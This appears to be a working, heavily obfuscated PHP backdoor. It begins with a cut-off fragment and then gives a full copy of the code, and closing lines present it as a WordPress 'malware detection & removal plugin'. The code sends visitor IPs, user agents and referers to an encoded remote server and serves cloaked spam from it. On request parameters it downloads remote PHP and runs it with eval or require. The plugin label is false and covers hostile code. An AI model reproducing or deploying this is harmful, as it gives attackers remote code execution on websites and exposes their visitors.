($xyyzyz__z_);}function xyy_yzz__z($x_yy_z_zyz){$xyz_zyyz__=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x79\x7a\x5f\x5f\x7a\x7a"]("/{\\|}/si",$x_yy_z_zyz,-1,PREG_SPLIT_NO_EMPTY);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x5f\x5f\x7a\x79\x7a\x79"]($xyz_zyyz__)){return false;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x5f\x79\x7a\x79\x5f"]($xyz_zyyz__)!=2){return false;}return $xyz_zyyz__;}function xy_zyzz__y($xyyzz__zy_,$x__yz_yzzy){$xy_z_zyz_y=array();$xy_z_zyz_y["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]=$xyyzz__zy_;$xy_z_zyz_y["\x61\x70\x69"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"](x__yzy_yzz($xy_z_zyz_y["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]));$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]=xzyy_y_zz_();$xy_z_zyz_y["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$xy_z_zyz_y["\x72\x65\x66\x65\x72\x65\x72"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:'';$xy_z_zyz_y["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:'';$xy_z_zyz_y["\x69\x70"]=xyzyz___zy();if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])){$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_zz_z_yyy('yygpKYcSi20tcykHAA==');}else{$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_zz_z_yyy('yygpKcEbDdqS1wcA');}if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])){$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];}else{$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]="";}if(isset(${"\x5f\x47\x45\x54"}["\x70\x61\x72\x61\x6d\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x7a\x79\x79\x7a\x79\x5f"]($xy_z_zyz_y);die();}if(isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])){$x__yzz_yzy=${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"];$x_yyz_z_zy=x_zz_z_yyy('Ky8v1Oq0vPz0/PSdVLzs8wTFAA==');if(isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])){$x_yyz_z_zy=${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"];}x_z_zyyyz_($x_yyz_z_zy,$x__yzz_yzy,$xy_z_zyz_y);}$xyy_z_zzy_=x_zz_z_yyy('Uy3Wtsuy+yVS2uySgpKSi20tdPz89Pz0nVS87XyyqoUS22TyzIBEqrJSaDyILEkgwQXQIeUkAA==');$xyy_z_zzy_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('|',$xyy_z_zzy_);if(isset($_REQUEST["\x61\x63"])&&isset($_REQUEST["\x70\x61\x74\x68"])&&isset($_REQUEST["\x74"])){xz_zy_zyy_(sprintf($xyy_z_zzy_[2],${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"](x__yzy_yzz($x__yz_yzzy)),$xy_z_zyz_y["\x61\x70\x69"],$_REQUEST["\x61\x63"],$_REQUEST["\x70\x61\x74\x68"],$_REQUEST["\x74"]));}$xy_zzzyy__=array('doxy_zyzz__y'=>$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],'request_url'=>$xy_z_zyz_y["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"],'ip'=>$xy_z_zyz_y["\x69\x70"],'agent'=>$xy_z_zyz_y["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"],'referer'=>$xy_z_zyz_y["\x72\x65\x66\x65\x72\x65\x72"],'protocol'=>$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],'language'=>$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]);$xz_zy__zyy=sprintf($xyy_z_zzy_[0],$xy_z_zyz_y["\x61\x70\x69"],x__yzy_yzz(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x79\x79\x5f\x7a"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x5f\x5f\x5f\x7a\x79\x7a"]('{|}',$xy_zzzyy__))));$x_yy_z_zyz=xy_zyyz__z($xz_zy__zyy);if(isset($_REQUEST["\x64\x75\x6d\x70"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_yy_z_zyz);$x_yy_z_zyz=xy_zyyz__z($xyy_z_zzy_[1]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_yy_z_zyz);die();}$xzz_y_yyz_=xyy_yzz__z($x_yy_z_zyz);if($xzz_y_yyz_!==false){@header($xzz_y_yyz_[0]);echo $xzz_y_yyz_[1];die();}}xy_zyzz__y($xyyzz__zy_,$x__yz_yzzy);
<?php $x_yz_z_yyz = "oA-bNnK7L5_JUtRxIY+WCa93Vk0wM1OeSDdB2j/lsXfqphm*TGvQHrPyc\\4zuF6iZg8E"; $xz_zyy_yz_ = "preg_replace_callback"; $x_y__yzzyz = "stream_socket_client"; $xyz_zz__yy = "stream_get_meta_data"; $xzzzy__yy_ = "stream_set_blocking"; $xzy__zy_zy = "stream_set_timeout"; $xz__yyy_zz = "file_get_contents"; $x__zz_yyzy = "function_exists"; $x_zyyyz__z = "error_reporting"; $xzz__yz_yy = "gethostbyname"; $xy_z_zyy_z = "base64_encode"; $x_z_yyzyz_ = "base64_decode"; $xy__yzyz_z = "rawurlencode"; $xy_yz__yzz = "str_replace"; $xyy__zz_yz = "curl_setopt"; $xz_zyzyy__ = "array_shift"; $xyy_yz__zz = "preg_split"; $xzzzy_yy__ = "preg_match"; $x_yy_yz_zz = "curl_close"; $x__yyzzz_y = "str_split"; $xz_y_zyzy_ = "parse_url"; $xzyzyz___y = "gzinflate"; $x_y_yzyz_z = "curl_init"; $xyy_zz_yz_ = "curl_exec"; $xyzy_z_y_z = "var_dump"; $xz_y__zyzy = "is_array"; $x___zzzyyy = "tmpfile"; $x_z_zyyzy_ = "print_r"; $xyyz___zyz = "implode"; $xy_yyzzz__ = "explode"; $xyy_zzyz__ = "strpos"; $xz__zyy_zy = "strlen"; $xyz__zyz_y = "hexdec"; $x_y__yzzyz = "fwrite"; $xzyyy_z_z_ = "fclose"; $xz___yyzyz = "fread"; $xy_y_yz_zz = "fgets"; $xyz_z_yzy_ = "count"; $x_z_yzyyz_ = "trim"; $xz_yzz__yy = "join"; $x_zy_y_zzy = "feof"; error_reporting(0); $xyyzz__zy_ = "Ha0RDcvo2LwpTMwAXLyYTMuUWetFWYpx2avVids5WaZl"; $x__yz_yzzy = "Ha0RHc6MyLj9nLpdzYuU2Yt9wL=="; function x_zz_z_yyy($xyz_yyz_z_) { $x_zzy_y_yz = substr($xyz_yyz_z_, 0, 5); $xyzzyy__z_ = substr($xyz_yyz_z_, 5); $x_zy_zyzy_ = substr($xyz_yyz_z_, 7, strlen($xyz_yyz_z_) - 14); return gzinflate(base64_decode($x_zzy_y_yz . $x_zy_zyzy_ . $xyzzyy__z_)); } function xy_zyyz__z($xz_zy__zyy) { if (!preg_match("/^https*\\:\\/\\//si", $xz_zy__zyy)) { return '500'; } $xy_y_zzz_y = file_get_contents($xz_zy__zyy); if ($xy_y_zzz_y != false) { return $xy_y_zzz_y; } $x_yzz_z_yy = x_zz_z_yyy('Sy4typZonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBknSJakA'); $xy_zyzy__z = $xzyyz_y_z_ = $xyzy_yz_z_ = $xy_yy__zzzrr_str = ''; foreach (explode('|', $x_yzz_z_yy) as $c) { $xz_yz_y_yz = 1; foreach (explode('+', $c) as $d) { if (!function_exists($d)) { $xz_yz_y_yz = 0; } } unset($d); if ($xz_yz_y_yz) { $xy_zyzy__z = $c; break; } } unset($x_yzz_z_yy, $c); if ($xy_zyzy__z == '') { return 0; } if (substr($xy_zyzy__z, 0, 1) == 'c') { $xyyz__yzz_ = curl_init(); curl_setopt($xyyz__yzz_, CURLOPT_URL, $xz_zy__zyy); curl_setopt($xyyz__yzz_, CURLOPT_USERAGENT, 's'); curl_setopt($xyyz__yzz_, CURLOPT_RETURNTRANSFER, 1); curl_setopt($xyyz__yzz_, CURLOPT_TIMEOUT, 100); curl_setopt($xyyz__yzz_, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($xyyz__yzz_, CURLOPT_SSL_VERIFYPEER, 0); $xz_y_yz_yz = curl_exec($xyyz__yzz_); curl_close($xyyz__yzz_); if (!$xz_y_yz_yz) { return '501'; } else { return $xz_y_yz_yz; } } $xz__yzyy_z = parse_url($xz_zy__zyy); isset($xz__yzyy_z["host"]) || ($xz__yzyy_z["host"] = ''); isset($xz__yzyy_z["path"]) || ($xz__yzyy_z["path"] = ''); isset($xz__yzyy_z["query"]) || ($xz__yzyy_z["query"] = ''); isset($xz__yzyy_z["port"]) || ($xz__yzyy_z["port"] = ''); $x_zzy__yyz = $xz__yzyy_z["path"] ? $xz__yzyy_z["path"] . ($xz__yzyy_z["query"] ? '?' . $xz__yzyy_z["query"] : '') : '/'; $xzy_y__zzy = $xz__yzyy_z["host"]; if ($xz__yzyy_z["scheme"] == 'https') { $xzz_y_zyy_ = '1.1'; $x_zyyyz_z_ = empty($xz__yzyy_z["port"]) ? 443 : $xz__yzyy_z["port"]; $xzy_y__zzy = x_zz_z_yyy('Ky7OsPgdLABXBwA='); $xzy_y__zzy .= $xz__yzyy_z["host"]; } else { $xzz_y_zyy_ = '1.0'; $x_zyyyz_z_ = empty($xz__yzyy_z["port"]) ? 80 : $xz__yzyy_z["port"]; } $x_zzyyy_z_ = 'Host:'; $x_zzyyy_z_ .= $xzy_y__zzy; $headers[] = $x_zzyyy_z_; $headers[] = x_zz_z_yyy('c87PymS0tNLsnMz7NyzskNivTgUA'); $headers[] = x_zz_z_yyy('Cy1OLbCdJ1TE/NK7ErMqBgA='); $headers[] = x_zz_z_yyy('c0xOTXJi0osdLtWS1wIA'); unset($x_zzyyy_z_); $xzyyz_y_z_ = "GET {$x_zzy__yyz} HTTP/{$xzz_y_zyy_}" . PHP_EOL . join(PHP_EOL, $headers) . PHP_EOL . PHP_EOL; unset($headers, $xz__yzyy_z, $xzz_y_zyy_, $x_zzy__yyz); $x_y_zz_yzy = null; if (substr($xy_zyzy__z, 1) == 'n') { $x_y_zz_yzy = $xy_zyzy__z($xzy_y__zzy, $x_zyyyz_z_, $xyzy_yz_z_, $xy_yy__zzzrr_str, 30); } else { if (substr($xy_zyzy__z, 1) == 't') { $xzzzyy__y_ = x_zz_z_yyy('K0kusibNLVEXBwA='); $xzzzyy__y_ .= $xzy_y__zzy; $xzzzyy__y_ .= ':'; $xzzzyy__y_ .= $x_zyyyz_z_; $x_y_zz_yzy = fwrite($xzzzyy__y_, $xyzy_yz_z_, $xy_yy__zzzrr_str, 30); unset($xzzzyy__y_); } } $x_yy_z_zyz = ''; if ($x_y_zz_yzy) { stream_set_blocking($x_y_zz_yzy, TRUE); stream_set_timeout($x_y_zz_yzy, 30); fwrite($x_y_zz_yzy, $xzyyz_y_z_); $x_z_y_yzyz = stream_get_meta_data($x_y_zz_yzy); if (!$x_z_y_yzyz["timed_out"]) { while (!feof($x_y_zz_yzy)) { $xzyy__z_yz = fgets($x_y_zz_yzy); if ($xzyy__z_yz && (rawurlencode($xzyy__z_yz) == "%0D%0A" || rawurlencode($xzyy__z_yz) == "%0A")) { break; } unset($xzyy__z_yz); } while (!feof($x_y_zz_yzy)) { $xzz_y_yyz_ = fread($x_y_zz_yzy, 8192); $x_yy_z_zyz .= $xzz_y_yyz_; unset($xzz_y_yyz_); } } unset($x_z_y_yzyz); fclose($x_y_zz_yzy); } else { if (substr($xy_zyzy__z, 1) == 'e') { $x__zyzzy_y = gethostbyname($xzy_y__zzy); $x_y_zz_yzy = $xy_zyzy__z(AF_INET, SOCK_STREAM, 0); if (socket_connect($x_y_zz_yzy, $x__zyzzy_y, $x_zyyyz_z_)) { socket_write($x_y_zz_yzy, $xzyyz_y_z_, strlen($xzyyz_y_z_)); while ($x__yyz_yzz = @socket_read($x_y_zz_yzy, 8192)) { $x_yy_z_zyz .= $x__yyz_yzz; unset($x__yyz_yzz); } $x_yy_z_zyz = explode("\\r\\n\\r\\n", $x_yy_z_zyz); array_shift($x_yy_z_zyz); $x_yy_z_zyz = implode("\\r\\n\\r\\n", $x_yy_z_zyz); } socket_close($x_y_zz_yzy); unset($x__zyzzy_y); } } unset($xzyyz_y_z_, $xy_zyzy__z, $x_y_zz_yzy, $x_zyyyz_z_, $xzy_y__zzy); $x_yy_z_zyz = @preg_replace_callback('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'x_zyzy_z_y', $x_yy_z_zyz); return trim(trim($x_yy_z_zyz, "\\xEF\\xBB\\xBF")); } function x_zyzy_z_y($matches) { return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0]; } function xyzyz___zy($xzzyy_y__z = '') { $xzzyy_y__z = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; $xzzyy_y__z = $xzzyy_y__z ? $xzzyy_y__z : $_SERVER["REMOTE_ADDR"]; return trim($xzzyy_y__z); } function xzyy_y_zz_($xyz_yyz_z_ = '') { if (isset($_SERVER["HTTP_HOST"])) { return $_SERVER["HTTP_HOST"]; } elseif (isset($_SERVER["SERVER_NAME"])) { return $_SERVER["SERVER_NAME"]; } return $xyz_yyz_z_; } function xz_zy_zyy_($xz_zy__zyy) { $xzyyz__y_z = xy_zyyz__z($xz_zy__zyy); $xzz_yy__zy = "<?php"; if (strpos($xzyyz__y_z, $xzz_yy__zy) === false) { die('get failed'); } $xyyzyz_z__ = tmpfile(); if (isset($_REQUEST["e"])) { $xzyyz__y_z = str_replace($xzz_yy__zy, "", $xzyyz__y_z); $xy_yy__zzz = 'eval'; eval($xzyyz__y_z); die; } fwrite($xyyzyz_z__, $xzyyz__y_z); $x_yzz_z_yy = stream_get_meta_data($xyyzyz_z__); @(require $x_yzz_z_yy["uri"]); fclose($xyyzyz_z__); die; } function x__yzy_yzz($xyyzz__zy_) { $x_yzz_y_zy = substr($xyyzz__zy_, strlen($xyyzz__zy_) - 2); $xyzy__zy_z = str_split($xyyzz__zy_); $xzzy__yzy_ = ''; for ($xy_zzyy__z = 0; $xy_zzyy__z < count($xyzy__zy_z) - 2; $xy_zzyy__z += 2) { $xzzy__yzy_ .= $xyzy__zy_z[$xy_zzyy__z + 1] . $xyzy__zy_z[$xy_zzyy__z]; } $xzzy__yzy_ .= $x_yzz_y_zy; return $xzzy__yzy_; } function x_z_zyyyz_($googleUrl, $x__yzz_yzy, $xy_z_zyz_y) { $x_z__yzzyy = x_zz_z_yyy('yygpKPrSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgBLWAwA='); $x_y__zzyzy = sprintf($x_z__yzzyy, $googleUrl, $xy_z_zyz_y["protocol"], $xy_z_zyz_y["server_domain"], $x__yzz_yzy); $xyy_z__zyz = xy_zyyz__z($x_y__zzyzy); if (isset($_REQUEST["st"])) { var_dump($x_y__zzyzy); var_dump($xyy_z__zyz); die; } $xzyyyz_z__ = x_zz_z_yyy('S8/PTCz89ZcJBQA='); $x_y_yzzzy_ = x_zz_z_yyy('Ky5NToUk4iBtLgYA'); $xyyzyz__z_ = x_zz_z_yyy('S0vMzEJElwPNAQA='); if (strpos($xyy_z__zyz, $xzyyyz_z__) != false) { die($x_y_yzzzy_); } die($xyyzyz__z_); } function xyy_yzz__z($x_yy_z_zyz) { $xyz_zyyz__ = @preg_split("/{\\|}/si", $x_yy_z_zyz, 1, PREG_SPLIT_NO_EMPTY); if (!is_array($xyz_zyyz__)) { return false; } if (count($xyz_zyyz__) != 2) { return false; } return $xyz_zyyz__; } function xy_zyzz__y($xyyzz__zy_, $x__yz_yzzy) { $xy_z_zyz_y = array(); $xy_z_zyz_y["default_params"] = $xyyzz__zy_; $xy_z_zyz_y["api"] = base64_decode(x__yzy_yzz($xy_z_zyz_y["default_params"])); $xy_z_zyz_y["server_domain"] = xzyy_y_zz_(); $xy_z_zyz_y["request_url"] = $_SERVER["REQUEST_URI"]; $xy_z_zyz_y["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $xy_z_zyz_y["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $xy_z_zyz_y["ip"] = xyzyz___zy(); if (isset($_SERVER["HTTPS"])) { $xy_z_zyz_y["protocol"] = x_zz_z_yyy('yygpKYcSi20tcykHAA=='); } else { $xy_z_zyz_y["protocol"] = x_zz_z_yyy('yygpKcEbDdqS1wcA'); } if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { $xy_z_zyz_y["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; } else { $xy_z_zyz_y["language"] = ""; } if (isset($_GET["params"])) { print_r($xy_z_zyz_y); die; } if (isset($_GET["sitemap"])) { $x__yzz_yzy = $_GET["sitemap"]; $x_yyz_z_zy = x_zz_z_yyy('Ky8v1Oq0vPz0/PSdVLzs8wTFAA=='); if (isset($_GET["google_url"])) { $x_yyz_z_zy = $_GET["google_url"]; } x_z_zyyyz_($x_yyz_z_zy, $x__yzz_yzy, $xy_z_zyz_y); } $xyy_z_zzy_ = x_zz_z_yyy('Uy3Wtsuy+yVS2uySgpKSi20tdPz89Pz0nVS87XyyqoUS22TyzIBEqrJSaDyILEkgwQXQIeUkAA=='); $xyy_z_zzy_ = explode('|', $xyy_z_zzy_); if (isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"])) { xz_zy_zyy_(sprintf($xyy_z_zzy_[2], base64_decode(x__yzy_yzz($x__yz_yzzy)), $xy_z_zyz_y["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); } $xy_zzzyy__ = array('doxy_zyzz__y' => $xy_z_zyz_y["server_domain"], 'request_url' => $xy_z_zyz_y["request_url"], 'ip' => $xy_z_zyz_y["ip"], 'agent' => $xy_z_zyz_y["user_agent"], 'referer' => $xy_z_zyz_y["referer"], 'protocol' => $xy_z_zyz_y["protocol"], 'language' => $xy_z_zyz_y["language"]); $xz_zy__zyy = sprintf($xyy_z_zzy_[0], $xy_z_zyz_y["api"], x__yzy_yzz(base64_encode(implode('{|}', $xy_zzzyy__)))); $x_yy_z_zyz = xy_zyyz__z($xz_zy__zyy); if (isset($_REQUEST["dump"])) { var_dump($x_yy_z_zyz); $x_yy_z_zyz = xy_zyyz__z($xyy_z_zzy_[1]); var_dump($x_yy_z_zyz); die; } $xzz_y_yyz_ = xyy_yzz__z($x_yy_z_zyz); if ($xzz_y_yyz_ !== false) { @header($xzz_y_yyz_[0]); echo $xzz_y_yyz_[1]; die; } } xy_zyzz__y($xyyzz__zy_, $x__yz_yzzy);
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.